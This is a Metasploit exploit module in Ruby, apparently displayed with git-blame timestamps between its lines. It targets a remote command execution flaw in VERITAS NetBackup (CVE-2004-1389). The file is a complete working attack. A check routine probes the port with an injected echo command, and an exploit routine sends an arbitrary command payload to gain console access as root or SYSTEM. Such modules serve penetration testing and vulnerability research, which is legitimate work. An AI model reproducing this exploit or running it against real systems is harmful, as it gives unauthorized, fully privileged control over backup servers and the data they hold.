2008-11-13 09:45:47 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-11-13 09:45:47 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'VERITAS NetBackup Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module allows arbitrary command execution on an
|
|
|
|
ephemeral port opened by Veritas NetBackup, whilst an
|
|
|
|
administrator is authenticated. The port is opened and
|
|
|
|
allows direct console access as root or SYSTEM from
|
|
|
|
any source address.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-1389' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '11026' ],
|
2015-10-27 17:41:32 +00:00
|
|
|
[ 'BID', '11494' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ linux unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Automatic', { }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 21 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
|
|
|
|
sploit = rand_text_alphanumeric(10)
|
|
|
|
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
|
|
|
|
|
|
|
|
sock.put(buf)
|
2014-06-28 21:05:05 +00:00
|
|
|
banner = sock.get_once
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
2014-06-28 21:05:05 +00:00
|
|
|
if banner.to_s.index(sploit)
|
2013-08-30 21:28:54 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
sploit = payload.encoded.split(" ")
|
|
|
|
|
|
|
|
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"
|
|
|
|
buf << payload.encoded
|
|
|
|
buf << "\n"
|
|
|
|
|
|
|
|
sock.put(buf)
|
2014-06-28 21:05:05 +00:00
|
|
|
res = sock.get_once
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
print_status(res.to_s)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2008-11-13 09:45:47 +00:00
|
|
|
|
|
|
|
end
|